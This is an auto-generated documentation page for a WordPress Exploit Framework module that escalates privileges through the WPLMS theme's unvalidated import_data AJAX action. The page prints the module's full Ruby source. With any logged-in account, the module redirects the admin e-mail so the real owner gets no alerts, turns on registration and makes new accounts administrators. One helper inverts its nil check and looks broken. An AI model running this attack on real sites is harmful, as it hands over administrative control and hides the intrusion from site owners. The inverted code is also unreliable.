class Wpxf::Auxiliary::WplmsPrivilegeEscalation

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::Net::HttpClient::new
# File lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb, line 10
def initialize
  super

  update_info(
    name: 'WPLMS Theme Privilege Escalation',
    desc: %(
      The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows
      an authenticated user of any user level to set any system option
      due to a lack of validation in the import_data function of
      /includes/func.php.

      The module first changes the admin e-mail address to prevent any
      notifications being sent to the actual administrator during the
      attack, re-enables user registration in case it has been
      disabled and sets the default role to be administrator.
      This will allow for the user to create a new account with admin
      privileges via the default registration page found at
      /wp-login.php?action=register.
    ),
    desc_preformatted: true,
    author: [
      'Evex',     # Vulnerability discovery
      'rastating' # WPXF module
    ],
    references: [
      ['WPVDB', '7785']
    ],
    date: 'Feb 09 2015'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb, line 41
def check
  check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
end
php_serialize(value) click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb, line 49
def php_serialize(value)
  # Only strings and numbers are required by this module
  case value
  when String, Symbol
    "s:#{value.bytesize}:\"#{value}\";"
  when Integer
    "i:#{value};"
  end
end
requires_authentication() click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb, line 45
def requires_authentication
  true
end
run() click to toggle source
Calls superclass method Wpxf::Module#run
# File lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb, line 89
def run
  return false unless super

  new_email = "#{Utility::Text.rand_alpha(5)}@#{Utility::Text.rand_alpha(5)}.com"
  emit_info "Changing admin e-mail address to #{new_email}..."
  if set_wp_option('admin_email', new_email).nil?
    emit_error 'Failed to change the admin e-mail address'
    return false
  end

  emit_info 'Enabling user registrations...'
  if set_wp_option('users_can_register', 1).nil?
    emit_error 'Failed to enable user registrations'
    return false
  end

  emit_info 'Setting the default user role...'
  if set_wp_option('default_role', 'administrator').nil?
    emit_error 'Failed to set the default user role'
    return false
  end

  register_url = normalize_uri(full_uri, 'wp-login.php?action=register')
  emit_success 'Privilege escalation complete'
  emit_success "Create a new account at #{register_url} to gain admin access."

  true
end
serialize_and_encode(value) click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb, line 59
def serialize_and_encode(value)
  serialized_value = php_serialize(value)
  return nil unless serialized_value.nil?

  Base64.strict_encode64(serialized_value)
end
set_wp_option(name, value) click to toggle source
# File lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb, line 66
def set_wp_option(name, value)
  encoded_value = serialize_and_encode(value)
  if encoded_value.nil?
    emit_error "Failed to serialize #{value}", true
    return nil
  end

  res = execute_post_request(
    url: wordpress_url_admin_ajax,
    params: { 'action' => 'import_data' },
    body: { 'name' => name, 'code' => encoded_value },
    cookie: session_cookie
  )

  if res.nil?
    emit_error 'No response from the target', true
  elsif res.code != 200
    emit_warning "Server responded with code #{res.code}", true
  end

  res
end